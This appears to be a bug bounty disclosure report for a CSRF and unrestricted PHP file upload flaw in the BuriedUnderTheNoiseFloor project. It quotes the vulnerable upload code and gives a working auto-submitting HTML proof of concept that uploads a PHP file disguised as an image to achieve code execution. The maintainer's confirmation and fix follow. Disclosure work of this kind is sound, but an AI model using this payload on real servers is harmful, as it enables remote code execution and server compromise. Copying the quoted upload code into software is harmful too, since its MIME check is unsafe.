Cross-Site Request Forgery (CSRF) in jspark311/buriedunderthenoisefloor

Valid

Reported on

Oct 13th 2021


Description

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
https://github.com/jspark311/BuriedUnderTheNoiseFloor/ is vulnerable to Cross-Site Request Forgery as shown below. The vulnerability allows to upload a php file without user interaction.

Proof of concept

Snippet:

if (isset($_FILES) && isset($_FILES['upfile'])) {
    if ($_FILES['upfile']['error'] == 0) {
        if (in_array($_FILES['upfile']['type'], $allowed)) {
            $extension = end(explode('.', $_FILES['upfile']['name']));
            $file_path  = 'uploads/'.hash('sha256', $_FILES['upfile']['tmp_name'].time()).'.'.$extension;
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $file_path)) {
                $img = file_get_contents($file_path);
                $state = 1;

Payload

Create a new file csrf_upload.html in any location with the following content:
In this example , the path is http://localhost/BuriedUnderTheNoiseFloor-master/form.php change if needed:

<html>
    <head>
    <script>
        function uploader(){
            var form = document.getElementById('myForm');
            var xhr  = new XMLHttpRequest();             
            var data = new FormData(form);               
            var content = '<?php phpinfo(); ?>'; 
            var blob = new Blob([content], { type: "image/jpg"});
            data.append("upfile", blob,"csrftest.php");
            xhr.open("post", form.action);      // open connection
            xhr.send(data);  
        }                   
        </script>
    </head>
    <body onload=uploader()>
        <form id="myForm" action="http://localhost/BuriedUnderTheNoiseFloor-master/form.php">
            <input id="name" type="text" />
            <button onclick="uploader()">Click</button>
        </form>
    </body>
</html>

Open csrf_upload.html file in a browser and observe a new php file has been created in uploads directory.
Thus making rce without interaction

Impact

The vulnerability allows an attacker to execute commands on the server that is running an application, and typically fully compromise the application and all its data.

We have contacted a member of the jspark311/buriedunderthenoisefloor team and are waiting to hear back 2 years ago
We have sent a follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 7 days. 2 years ago
We have sent a second follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 10 days. 2 years ago
We have sent a third and final follow up to the jspark311/buriedunderthenoisefloor team. This report is now considered stale. 2 years ago
J. Ian Lindsay
2 years ago

Maintainer


Just noticed this. This complaint is valid, but it's also only applicable for the test/demonstration script. It is not intended that form.php be used in a deployed application.

J. Ian Lindsay validated this vulnerability 2 years ago
hitisec has been awarded the disclosure bounty
The fix bounty is now up for grabs
J. Ian Lindsay
2 years ago

Maintainer


This has been fixed by ensuring the PHP execution policy is disable for the upload directory on the webserver.

J. Ian Lindsay marked this as fixed in e89c4049a3b407bbb08c79af0f4a38f907459b04a4309c53d6eaf4e7d6d74ad3 with commit 404a45 2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation